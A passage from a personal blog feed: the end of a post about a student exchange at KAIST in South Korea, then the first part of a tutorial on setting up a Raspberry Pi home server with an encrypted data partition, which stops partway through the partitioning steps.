&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/south-korea/bbq.jpg" alt="A Korean barbecue" /&gt;&lt;figcaption&gt;A Korean barbecue.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/south-korea/market.jpg" alt="Gwangjang market" /&gt;&lt;figcaption&gt;The Gwangjang market.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/south-korea/gyeongbokgung1.jpg" alt="Gyeongbokgung" /&gt;&lt;figcaption&gt;The Gyeongbokgung palace (pictures above and below).&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img alt="Gyeongbokgung" src="https://romainpellerin.eu/images/south-korea/gyeongbokgung2.jpg" /&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/south-korea/rooftops.jpg" alt="Rooftops" /&gt;&lt;figcaption&gt;Rooftops.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h1 id="funny-facts-about-south-korea"&gt;Funny facts about South Korea&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Korean full names (given name + surname) have usually three syllables in total.&lt;/li&gt;
&lt;li&gt;Korean men wear sandals all the time, even in winter, with socks. The same kind of sandals you see at the swimming pool.&lt;/li&gt;
&lt;li&gt;They have loads of convenient stores open 24/7, at almost every corner. Main companies are 7-Eleven and GS25.&lt;/li&gt;
&lt;li&gt;In these shops, you can buy instant coffee and other similar beverages for less than ₩1,000 (roughly €0.80). What's cool about that is you can make your coffee yourself, right after payment by pouring hot (or cold) water in a paper cup. Most of the convenient shops have such kind of machines, and it's free.&lt;/li&gt;
&lt;li&gt;Similarly, box noodles are very popular and pretty cheap (less than ₩1,000). However, always ask a Korean about spiciness. If they say "it's OK, just a little bit spicy", then it means it's hot as hell.&lt;/li&gt;
&lt;li&gt;Windows and MacOS are the main operating systems used. Unfortunately, Linux is rarely encountered.&lt;/li&gt;
&lt;li&gt;Talking about computers, the Koreans have no problem leaving their laptops unlocked in public spaces.&lt;/li&gt;
&lt;li&gt;Spitting seems OK outdoors. However, blowing one's nose is considered rude. It's pretty hard to find tissues in shops.&lt;/li&gt;
&lt;li&gt;Driving there, especially in Seoul, is crazy. Taxi drivers try to go as fast as possible, they don't give a shit about traffic lights and speed limit. They don't use their seat belts.&lt;/li&gt;
&lt;li&gt;Most drivers have dash cams under their windshield. In some taxis there is also a camera filming the interior.&lt;/li&gt;
&lt;li&gt;One would expect pedestrians and cyclists to have priority over motorists. Nah! You'd better watch out before crossing.&lt;/li&gt;
&lt;li&gt;One thing that's pretty cool is the Internet speed. In addition, there are Wi-Fi access points everywhere and most of them are free.&lt;/li&gt;
&lt;li&gt;In general, cost of living is slightly lower than in France. However, some goods can be expensive such as cakes or pastries. Conversely, restaurants are very cheap.&lt;/li&gt;
&lt;li&gt;Everybody is naked in saunas and hammams.&lt;/li&gt;
&lt;li&gt;Smoking is quite common but not as much as in Europe. It's very rude to smoke while walking. In some places, there are smooking booths in the streets. Yet smoking is permitted in night clubs, even on the dance floor.&lt;/li&gt;
&lt;li&gt;Some scooters have funny flashy LED strip lights.&lt;/li&gt;
&lt;li&gt;In the subway, in each car there are seats reserved for the elderly or pregnant women, at far ends. Do not try to seat there even if they are all unoccupied.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=JuajQLuW9Lk"&gt;Receiving and giving must be done with both hands. For instance, when giving money to the cashier.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;People take off their shoes when entering houses. The reason is likely the Korean lifestyle: people used to eat on very low tables back in the day, and still today in some restaurants.&lt;/li&gt;
&lt;li&gt;Most people are very quiet in the subway or in buses. Making a lot of noise is considered rude.&lt;/li&gt;
&lt;li&gt;It's pretty hard to find trashcans in public spaces.&lt;/li&gt;
&lt;li&gt;Many Koreans dress up in matching outfits, especially young couples.&lt;/li&gt;
&lt;li&gt;Most young Korean girls pose very weirdly for photos: either the "peace" pose or they let their heads float on their hands (or shape their hands in a V around their head).&lt;/li&gt;
&lt;li&gt;Korean cities are colorful and full of neons. But they also have huge apartment blocks, which make them very ugly.&lt;/li&gt;
&lt;li&gt;Young couple use love motels to... well, have sex.&lt;/li&gt;
&lt;li&gt;They use a different age system. Basically, as soon as someone is born, that person is one year old. Then, the next 1th of January, everyone gets one year older. For instance, if someone is born on the 31th of December, he will be 1 year old that day. The next day (January 1), he will be two years old. And a year from that day (so next January 1), he will be three years old. Korean people use the birthday age system (the one most countries in the world use) rarely.&lt;/li&gt;
&lt;li&gt;Some toilets are... confusing.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img alt="A magic toilet" src="https://romainpellerin.eu/images/south-korea/toilet.jpg" /&gt;
&lt;/figure&gt;

&lt;h1 id="kaist-daejeon"&gt;KAIST (Daejeon)&lt;/h1&gt;
&lt;p&gt;One funny thing about KAIST is that, when you mention that you're studying at KAIST, people are very impressed and respectful. They almost immediately assume you're very smart. Weird feeling at first, then you kind of get used to it... ha ha. Let us now talk about what it is like to study there.&lt;/p&gt;
&lt;p&gt;The campus is just gigantic.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;a href="http://www.kaist.ac.kr/camtour/kr/images/common/campusmap.jpg" target="_blank"&gt;
    &lt;img alt="The campus" src="https://romainpellerin.eu/images/south-korea/campusmap.jpg" /&gt;
&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;With more than 10,000 students, it has any kind of facilities you might expect, and even more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 sports complex&lt;/li&gt;
&lt;li&gt;Dozens of dormitories&lt;/li&gt;
&lt;li&gt;7 fitness centers, open 24/7&lt;/li&gt;
&lt;li&gt;3 cafeterias (you can have lunch and dinner for less than ₩4000 and yet be sated)&lt;/li&gt;
&lt;li&gt;Restaurants (prices vary from ₩4000 to ₩6000, on average)&lt;/li&gt;
&lt;li&gt;Fast food restaurants&lt;/li&gt;
&lt;li&gt;A bike shop&lt;/li&gt;
&lt;li&gt;A barber&lt;/li&gt;
&lt;li&gt;A clinic and a pharmacy&lt;/li&gt;
&lt;li&gt;Cafes and a bar&lt;/li&gt;
&lt;li&gt;A swimming pool&lt;/li&gt;
&lt;li&gt;An auditorium&lt;/li&gt;
&lt;li&gt;Libraries&lt;/li&gt;
&lt;li&gt;A LOT of classrooms&lt;/li&gt;
&lt;li&gt;A stadium&lt;/li&gt;
&lt;li&gt;Tennis courts&lt;/li&gt;
&lt;li&gt;A bank&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;&lt;img alt="A soccer field" src="https://romainpellerin.eu/images/south-korea/soccer.jpg" /&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img alt="The sports complex" src="https://romainpellerin.eu/images/south-korea/sports_complex.jpg" /&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img alt="My bike" src="https://romainpellerin.eu/images/south-korea/bike.jpg" /&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img alt="A fitness center" src="https://romainpellerin.eu/images/south-korea/fitness_center.jpg" /&gt;&lt;/figure&gt;

&lt;p&gt;All dormitories are not mixed and most of them are made of small rooms shared by 2 people of the same sex. My roommate is a French man studying Computer Science as well, called Bastien.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/south-korea/room.jpg" alt="My room" /&gt;&lt;figcaption&gt;My bed is the one on the left.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;I took 4 courses for the whole semester:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CS453 Automated Software Testing&lt;/li&gt;
&lt;li&gt;CS459 Services Computing&lt;/li&gt;
&lt;li&gt;CS540 Network Architecture&lt;/li&gt;
&lt;li&gt;KSE652 Social Computing Systems Design and Analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For every course, I have two classes per week, each of them last for 1 hour and 15 minutes. So in total, I have 10 hours of class per week, which may seem very little but on the other hand we get so much homework to do. Most of the time, between two classes of the same course, we have a bunch of papers (publications) to read online, that we're supposed to sum up. Sometimes, we even get questions to answer. I'd say we have an average of 6 hours of homework per course per week. By the way, all Fridays are off. Here is my timetable:&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/south-korea/timetable.png" alt="My weekly timetable" /&gt;
&lt;/figure&gt;

&lt;p&gt;During our first week at KAIST, we had the chance to attend many performances in the auditorium. It was kind of a welcome ceremony.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="Welcome ceremony" src="https://romainpellerin.eu/images/south-korea/ceremony.jpg" /&gt;&lt;/figure&gt;

&lt;p&gt;Finally, here are two photos taken in Daejeon.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="Daejeon" src="https://romainpellerin.eu/images/south-korea/daejeon.jpg" /&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/south-korea/restaurant.jpg" alt="Dinning in a restaurant" /&gt;&lt;figcaption&gt;This term, there are more than 250 exchange students, mostly coming from Europe.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h1 id="travel-tips"&gt;Travel tips&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Buy a T-money card, it works in almost every city for buses, subway and trains. Most convenience stores are open 24/7 (7-eleven stores are almost everywhere).&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="things-i-wish-i-had-visited"&gt;Things I wish I had visited&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Nami Island&lt;/li&gt;
&lt;li&gt;Petite France&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="useful-links"&gt;Useful links&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/korea/comments/2l7pqm/cycling_and_traffic_in_korea_laws/"&gt;cycling and traffic in Korea: Laws?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.travelog.me/seoul/27-best-things-korea-outside-seoul/"&gt;THE 27 BEST THINGS TO DO IN KOREA OUTSIDE OF SEOUL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=FaANpurG3yE"&gt;Comment la Corée du Nord est devenue une menace ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=229q6nHMlaE"&gt;Destination Corée du Sud ! - Échappées belles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ew3efxDfBwk"&gt;Corée du Sud : Voyage vers le futur - Echappées belles&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category><category term="korea"></category></entry><entry><title>Raspberry Pi: The Ultimate Guide</title><link href="https://romainpellerin.eu/raspberry-pi-the-ultimate-guide.html" rel="alternate"></link><published>2016-07-10T05:11:00+02:00</published><updated>2025-03-03T23:58:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-07-10:/raspberry-pi-the-ultimate-guide.html</id><summary type="html">&lt;p&gt;A complete tutorial about how to create a home server using a Raspberry Pi&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;&lt;a href="https://romainpellerin.eu/extra/raspberry-pi-as-a-home-server-PDF.zip"&gt;Here is an old document I created a while ago. I keep it here for legacy purposes.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I'll keep this article as short as possible (no explanation where things are self-explanatory or obvious), mainly due to the fact that the article will be quite lengthy. I'll give instructions about how to setup a Raspberry Pi as well as how to install stuff. This blog post might change in a near future.&lt;/p&gt;
&lt;h1 id="goal"&gt;Goal&lt;/h1&gt;
&lt;p&gt;I decided to built a cheap home server to host websites, have a VPN server hosted in France, have a Nextcloud instance, and so forth. A Raspberry Pi, which costs less than $5 a year (electricity consumption) was the perfect solution. As I'm not that often in France, I needed to be able to operate it remotely. I also wanted plenty of storage, a SD card would not be sufficient. I had to plug a hard disk drive. Furthermore, I wanted it to be encrypted, just in case a malicious person tries to read my hard disk drive.&lt;/p&gt;
&lt;p&gt;To sum up, few requirements, but big advantages. Let's get started!&lt;/p&gt;
&lt;h1 id="what-i-used-for-this-tutorial"&gt;What I used for this tutorial&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.raspberrypi.org/products/raspberry-pi-3-model-b/"&gt;A Raspberry Pi v3 model B&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A hard disk drive (&lt;a href="http://wdlabs.wd.com/products/wd-pidrive-314gb/"&gt;WD's PiDrive&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Cables (&lt;a href="http://wdlabs.wd.com/products/raspberry-pi-accessories/"&gt;WD's PiDrive Cable Kit&lt;/a&gt; and an Ethernet cable)&lt;/li&gt;
&lt;li&gt;A micro SD card (&lt;a href="http://www.samsung.com/us/computer/memory-storage/MB-MP16DA/AM"&gt;Samsung's microSDHC 16GB EVO Memory Card with Adapter&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;A TV with a HDMI cable&lt;/li&gt;
&lt;li&gt;A laptop with a card reader running GNU/Linux (Xubuntu to be precise)&lt;/li&gt;
&lt;li&gt;A wired keyboard&lt;/li&gt;
&lt;li&gt;A regular DSL Internet connection&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="setting-up-the-raspberry-pi"&gt;Setting up the Raspberry Pi&lt;/h1&gt;
&lt;h2 id="the-os"&gt;The OS&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Download Raspbian Lite from &lt;a href="https://www.raspberrypi.org/downloads/raspbian/"&gt;the official website&lt;/a&gt;. It might be a good idea to verify the hash (SHA1). &lt;strong&gt;Consider downloading the 64-bit version of the OS.&lt;/strong&gt;. It adds supports for files larger than 4GB and also it fixes the issue with Nextcloud when the trashbin exceeds 4GB in size and can't be accessed anymore.&lt;/li&gt;
&lt;li&gt;Extract the file .img from the zip.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run one of the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;df
lsblk
blkid
fdisk -l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Plug in the SD card (on a regular computer, not the Raspberry Pi)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Redo step 3. in order to identify the SD card. &lt;code&gt;/dev/mmcblk0&lt;/code&gt; or &lt;code&gt;/dev/sdb&lt;/code&gt; for instance. &lt;code&gt;/dev/mmcblk0pX&lt;/code&gt; or &lt;code&gt;/dev/sdbX&lt;/code&gt; would be a partition on the device, with X an integer.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unmount &lt;strong&gt;all&lt;/strong&gt; the partitions and copy Raspbian on the whole SD card:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;umount /dev/mmcblk0p1
sudo dd &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1M &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2014&lt;/span&gt;-09-09-wheezy-raspbian.img &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/mmcblk0 &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;progress &lt;span class="nv"&gt;conv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;fsync
sudo sync &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;bs=4M&lt;/code&gt; can be used but it's more error prone, yet it's safer. There won't be any feedback during &lt;code&gt;dd&lt;/code&gt; so wait till it finishes (might be long).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You're done. For more information, see the &lt;a href="http://www.raspberrypi.org/documentation/installation/installing-images/linux.md"&gt;official website&lt;/a&gt;. Now &lt;a href="https://www.raspberrypi.org/blog/a-security-update-for-raspbian-pixel/"&gt;enable SSH&lt;/a&gt; by creating an empty file named &lt;code&gt;ssh&lt;/code&gt; in &lt;code&gt;/boot&lt;/code&gt;. Add a default user with &lt;code&gt;echo "pi:$(echo 'raspberry' | openssl passwd -6 -stdin)" &amp;gt; /boot/userconf.txt&lt;/code&gt;. Then, unmount the SD card and eject it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="first-boot"&gt;First boot&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Insert the micro SD card in the Raspberry Pi. Plug in an Ethernet wire or make sure you have a Wifi access point available on which you can connect, Plug in the HDMI cable (connected to a screen), a keyboard and eventually the power cable.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Log in (user name is &lt;em&gt;pi&lt;/em&gt; and password is &lt;em&gt;raspberry&lt;/em&gt;). You can do it using a keyboard or over SSH if you Raspberry is connected. Then set the locales and the right keyboard layout:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo su
dpkg-reconfigure locales &lt;span class="c1"&gt;# Select with space bar, at least en_US.UTF-8 and fr_FR.UTF-8 plus any other you need&lt;/span&gt;
dpkg-reconfigure keyboard-configuration &lt;span class="c1"&gt;# A keyboard must be plugged in&lt;/span&gt;
dpkg-reconfigure tzdata
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Regarding the keyboard layout, there are &lt;a href="http://raspberrypi.stackexchange.com/questions/10060/raspbian-keyboard-layout/10103#10103"&gt;other alternatives&lt;/a&gt;. Then reboot (&lt;code&gt;sudo reboot&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="configuration"&gt;Configuration&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Should you need to connect over Wifi, here's how to do it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo iwlist wlan0 scan
sudo nano /etc/wpa_supplicant/wpa_supplicant.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Go to the bottom of the file and add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;network={
    ssid=&amp;quot;The_ESSID_from_earlier&amp;quot;
    psk=&amp;quot;Your_wifi_password&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Otherwise, disable Wifi (and Bluetooth) as it draws power. One solution (preferred) is to list all blockable devices (&lt;code&gt;rfkill list all&lt;/code&gt;) and then block bluetooth (&lt;code&gt;sudo rfkill block 1&lt;/code&gt; (&lt;code&gt;0&lt;/code&gt; is usually for Wi-Fi)). The other solution is to create &lt;code&gt;/etc/modprobe.d/disable_rpi3_wifi_bt.conf&lt;/code&gt; and add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;##wifi
blacklist brcmfmac
blacklist brcmutil
##bt
blacklist btbcm
blacklist hci_uart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Save and reboot. &lt;a href="https://www.raspberrypi.org/documentation/configuration/wireless/wireless-cli.md"&gt;More information&lt;/a&gt;. At next reboot, make sure you're either connected or that Wifi is disabled by typing &lt;code&gt;ip a&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Double the current limit if your intend to plug USB devices. In &lt;code&gt;/boot/config.txt&lt;/code&gt;, add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;max_usb_current=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://www.raspberrypi.org/forums/viewtopic.php?p=930695#p930695"&gt;Some people say this has no effect on Raspberry Pi 3&lt;/a&gt;.&lt;br&gt;
You may finish editing this file by fine-tuning its parameters.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update you Pi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt update
sudo apt upgrade
sudo apt install vim
&lt;span class="c1"&gt;# sudo apt install rpi-update # if this packet is missing&lt;/span&gt;
&lt;span class="c1"&gt;# sudo reboot&lt;/span&gt;
&lt;span class="c1"&gt;# sudo rpi-update # gets the latest firmware, normal users should not have to do it&lt;/span&gt;
&lt;span class="c1"&gt;# More info, read: https://github.com/Hexxeh/rpi-update#notes&lt;/span&gt;
&lt;span class="c1"&gt;# sudo reboot&lt;/span&gt;
&lt;span class="c1"&gt;# sudo apt update&lt;/span&gt;
&lt;span class="c1"&gt;# sudo apt upgrade&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For security concerns, let's create a new user. The &lt;em&gt;pi&lt;/em&gt; user will be deleted later.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo su
passwd &lt;span class="c1"&gt;# Add a password to the root account&lt;/span&gt;
adduser pipi
usermod -a -G video pipi &lt;span class="c1"&gt;# Otherwise omxplayer won&amp;#39;t work with this user&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;export HISTSIZE=100000&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; /root/.bashrc
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;export HISTFILESIZE=100000&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; /root/.bashrc
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;export EDITOR=vim&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; /root/.bashrc
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;span class="c1"&gt;# Stay connected as &amp;#39;pi&amp;#39; for now&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Config the Pi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo raspi-config
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You should not expand the filesystem, neither change the user password cause we'll delete the &lt;em&gt;pi&lt;/em&gt; user anyway. However, you should change the system options (wait for network at boot). You might change the internationalisation options to English (UTF-8), but it's the same as running &lt;code&gt;dpkg-reconfigure locales&lt;/code&gt;. If you want to change the timezone and keyboard layout, plug in a keyboard on the Pi and do it from that keyboard. Change overscan if you see black bars. Change the hostname if you want. Finally, adjust memory split (128MB is sufficient for 1080p videos). Then, reboot. And log in back using the &lt;em&gt;pi&lt;/em&gt; user.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You should probably remove the ability to run "root" commands without typing pi’s password.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo visudo &lt;span class="c1"&gt;# it will safely edit /etc/sudoers&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here, remove "NOPASSWD: ". If there is no such a line, check out the file &lt;code&gt;/etc/sudoers.d/010_pi-nopasswd&lt;/code&gt; and delete it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;From another computer (not your Pi), do this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh-keygen &lt;span class="c1"&gt;# Use default choices&lt;/span&gt;
ssh-copy-id -i &lt;span class="nv"&gt;$HOME&lt;/span&gt;/.ssh/id_rsa.pub pipi@&amp;lt;raspberry-pi-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Get back to your Pi, still logged in as &lt;em&gt;pi&lt;/em&gt; and do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
apt install rsync
&lt;span class="c1"&gt;# rsync is just better than cp, we&amp;#39;ll need it later&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now, it's time to delete the &lt;em&gt;pi&lt;/em&gt; user. Log in as your new user (in my case it's &lt;em&gt;pipi&lt;/em&gt;) and then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su &lt;span class="c1"&gt;# Type the root password here&lt;/span&gt;
/usr/sbin/deluser --remove-home --remove-home --remove-all-files pi
&lt;span class="nv"&gt;EDITOR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vim /usr/sbin/visudo &lt;span class="c1"&gt;# Make sure there&amp;#39;s no reference to pi user&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="moving-root-onto-an-external-hard-disk-drive-not-encrypted-with-additional-encrypted-data-partition"&gt;Moving &lt;code&gt;/root&lt;/code&gt; onto an external hard disk drive, not encrypted, with additional encrypted DATA partition&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;NOTE THAT RECENT RASPBERRY PIS CAN BOOT DIRECTLY FROM A USB MASS STORAGE DEVICE, WITH NO SD INSERTED&lt;/strong&gt;: &lt;a href="https://www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/msd.md"&gt;tutorial here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Right after this section you will find another one about how to do a similar operation using an encrypted hard disk.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As root,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lsblk &lt;span class="c1"&gt;# Identify the hard disk drive connected to the Pi&lt;/span&gt;
fdisk /dev/sda
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Do the following sequence of keystrokes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;d # Delete all the existing partitions if many
n # Create a new one
p # Primary
1
&amp;lt;Enter&amp;gt; # Hit enter key
+100G # 100GB, or something else
# This partition should be of type Linux (83)
n # Create a second partition, swap
p
2
&amp;lt;Enter&amp;gt;
+2G
t # Change the type...
2 # Of the second partion
82 # Make it a swap partition
n # Create the data partition
p
3
&amp;lt;Enter&amp;gt;
&amp;lt;Enter&amp;gt;
p # Make sure everything is OK and press w
w
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkfs.ext4 /dev/sda1 -L ROOT -m &lt;span class="m"&gt;5&lt;/span&gt;
mkswap /dev/sda2
mkfs.ext4 /dev/sda3 -L DATA -m &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="c1"&gt;# I think this step is not necessary but did not check...&lt;/span&gt;
apt install cryptsetup
cryptsetup --verify-passphrase -c aes-xts-plain64 -s &lt;span class="m"&gt;512&lt;/span&gt; -h sha256 luksFormat /dev/sda3
cryptsetup -v luksOpen /dev/sda3 hddcrypt
mkfs.ext4 /dev/mapper/hddcrypt -L DATA -m &lt;span class="m"&gt;1&lt;/span&gt;
mkdir /mnt/data_partition
mount /dev/mapper/hddcrypt /mnt/data_partition/

cat /boot/cmdline.txt &lt;span class="c1"&gt;# See if you can find root=/dev/mmcblk0p2. If yes then...&lt;/span&gt;
sed -e &lt;span class="s2"&gt;&amp;quot;s|root=/dev/mmcblk0p2|root=/dev/sda1|&amp;quot;&lt;/span&gt; -i /boot/cmdline.txt
&lt;span class="c1"&gt;# Otherwise, manually replace root=PARTUUID=123 with the right PARTUUID found in `blkid`&lt;/span&gt;
&lt;span class="c1"&gt;# Add &amp;#39;bootwait&amp;#39; at the end of the line, in the same file, separated from the rest by a space char&lt;/span&gt;
&lt;span class="c1"&gt;# The &amp;#39;rootwait&amp;#39; option forces the kernel to wait until the root device becomes ready&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Edit &lt;code&gt;/etc/fstab&lt;/code&gt; that way:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;proc            /proc           proc    defaults          0       0
PARTUUID=123    /boot           vfat    defaults          0       2
PARTUUID=456    /               ext4    defaults,noatime  0       1
PARTUUID=789    none            swap    sw                0       0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
